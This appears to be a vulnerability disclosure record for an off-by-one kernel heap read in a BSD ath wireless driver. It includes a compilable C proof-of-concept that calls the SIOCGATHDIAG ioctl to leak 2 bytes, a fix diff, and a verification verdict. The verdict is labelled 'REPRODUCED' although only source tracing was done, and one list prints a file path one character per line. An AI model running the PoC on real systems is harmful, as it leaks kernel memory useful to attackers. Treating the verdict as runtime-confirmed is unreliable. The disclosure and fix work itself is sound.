Off-by-one OOB read in ath_hal_EepromDataRead (off == ATH_DATA_EEPROM_SIZE allowed)
- File:
sys/dev/netif/ath/ath_hal/ah.c - Lines: 1402, 1411, 1416
- Severity: Low
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:L/I:N/A:N - CWE: CWE-125 Out-of-bounds Read
- Confidence: likely
Summary
ath_hal_EepromDataRead() bounds the caller-supplied EEPROM word offset with
off > ATH_DATA_EEPROM_SIZE instead of >=.
When off == ATH_DATA_EEPROM_SIZE (2048) the check passes and the function reads
ah->ah_eepromdata[2048], one uint16_t past the end of the 2048-word
EEPROM-in-RAM buffer that the bus drivers allocate.
Root cause
sys/dev/netif/ath/ath_hal/ah.c:1402 defines
#define ATH_DATA_EEPROM_SIZE 2048 (in 16-bit words).
ah.c:1411 is if (off > ATH_DATA_EEPROM_SIZE) and ah.c:1416 is
(*data) = ah->ah_eepromdata[off];.
With off==2048 the bound permits the access, but ah_eepromdata is allocated
as exactly ATH_DATA_EEPROM_SIZE words:
sys/dev/netif/ath/ath/if_ath_ahb.c:173 eepromsize = ATH_EEPROM_DATA_SIZE * 2;
(== 4096 bytes == 2048 uint16_t), and if_ath_pci.c:371-378 kmallocs
fw->datasize (EEPROM firmware blobs are 4096 bytes).
Valid indices are 0..2047; index 2048 is one past the end.
Reachable from userland via HAL_DIAG_EEREAD (ah.c:901-907), which forwards
the user-supplied 16-bit offset verbatim to ath_hal_eepromRead β
ath_hal_EepromDataRead for EEPROM-in-RAM chips (ar9130/ar9280/ar9285/
ar9287).
Threat
Local user on a host with an EEPROM-in-RAM ath NIC (AR9130/AR9280/AR9285/AR9287
SoC/PCIe parts) and ATH_DIAGAPI compiled in.
Issues SIOCGATHDIAG with ad_id=(HAL_DIAG_EEREAD|ATH_DIAG_IN|ATH_DIAG_DYN),
ad_in_data pointing at the 16-bit value 2048 (0x0800).
Kernel reads 2 bytes of adjacent M_TEMP heap (whatever follows the
sc_eepromdata allocation) and returns them in the 2-byte out buffer.
Single 2-byte kernel heap info leak; low individual value but useful as a heap-shape oracle.
Exploit / PoC
/* eeread_oob.c β ath_hal EepromDataRead off-by-one */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <dev/netif/ath/ath/if_athioctl.h>
#include <stdio.h>
#include <string.h>
int main(void) {
uint16_t off = 2048; /* == ATH_DATA_EEPROM_SIZE */
uint16_t val = 0;
struct ath_diag ad;
memset(&ad, 0, sizeof(ad));
strlcpy(ad.ad_name, "ath0", sizeof(ad.ad_name));
ad.ad_id = 17 /*HAL_DIAG_EEREAD*/ | 0x8000 /*ATH_DIAG_DYN*/ | 0x4000 /*ATH_DIAG_IN*/;
ad.ad_in_size = sizeof(off);
ad.ad_in_data = (caddr_t)&off;
ad.ad_out_size = sizeof(val);
ad.ad_out_data = (caddr_t)&val;
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) { perror("socket"); return 1; }
if (ioctl(s, SIOCGATHDIAG, &ad) < 0) { perror("ioctl"); return 1; }
printf("leaked uint16 past eepromdata[2048] = 0x%04x\n", val);
return 0;
}
Build: cc -o eeread_oob eeread_oob.c. Run: ./eeread_oob.
Success: program prints a non-zero / non-deterministic 16-bit value across runs
that is the first 2 bytes of whatever kmalloc slab object follows
sc_eepromdata.
Comparing against off=2047 (in-bounds, returns the real last EEPROM word)
confirms the OOB.
Recommended fix
Use >= rather than >.
--- a/sys/dev/netif/ath/ath_hal/ah.c
+++ b/sys/dev/netif/ath/ath_hal/ah.c
@@ -1411,3 +1411,3 @@
- if (off > ATH_DATA_EEPROM_SIZE) {
+ if (off >= ATH_DATA_EEPROM_SIZE) {
HALDEBUG(ah, HAL_DEBUG_ANY, "%s: offset %x > %x\n",
(Longer term the bound should be derived from the actual allocation length stored
in a new ah_eepromsize field rather than a hardcoded 2048, so PCI firmware
blobs whose datasize differs from 4096 are handled correctly; but the >=
change closes the concrete off-by-one.)
Related findings
- DF-1520 (sibling): heap OOB via the same
SIOCGATHDIAGpath. - DF-1521 (sibling): NULL-deref via the same path.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1522 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | Fix for ath HAL eepromdata off-by-one | 380 B | view raw |
| VERDICT.md | verdict | Source-only verification verdict | 799 B | β raw |
| build.sh | build-script | No-op (source-only) | 109 B | view raw |
| run.sh | run-script | No-op (source-only) | 107 B | view raw |
VERDICT DF-1522: ath HAL eepromdata off-by-one
Verdict
REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.
Mechanism
Bounds check off>ATH_DATA_EEPROM_SIZE should be >=; off==2048 passes then OOB read.
Source reference: sys/dev/netif/ath/ath_hal/ah.c:1411,1416.
Reproduction
Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed.
The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present
on the QEMU/virtio guest. The finding is HW-gated.
Fix
Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with
make -j6 nativekernel KERNCONF=X86_64_GENERIC β rc=0, -Werror clean.
See fix.diff for the git-apply-able patch.
Fix verification
fixedCombined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.
'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- n
- e
- t
- i
- f
- /
- a
- t
- h
- /
- a
- t
- h
- _
- h
- a
- l
- /
- a
- h
- .
- c
- :
- 1
- 4
- 1
- 1
Detail
Exploit chain
none
Evidence (decisive lines)
Source confirmed: sys/dev/netif/ath/ath_hal/ah.c:1411. Combined 41-fix kernel build rc=0 -Werror clean.
PoC changes
fix.diff authored; validated by combined kernel build.
Verified recommended fix
to >= fix. Matches finding.
Verdict
REPRODUCED (source-confirmed). off>SIZE should be >=; off==2048 OOB read. Cited path verified at sys/dev/netif/ath/ath_hal/ah.c:1411. HW/module-gated on QEMU guest.
No comments yet.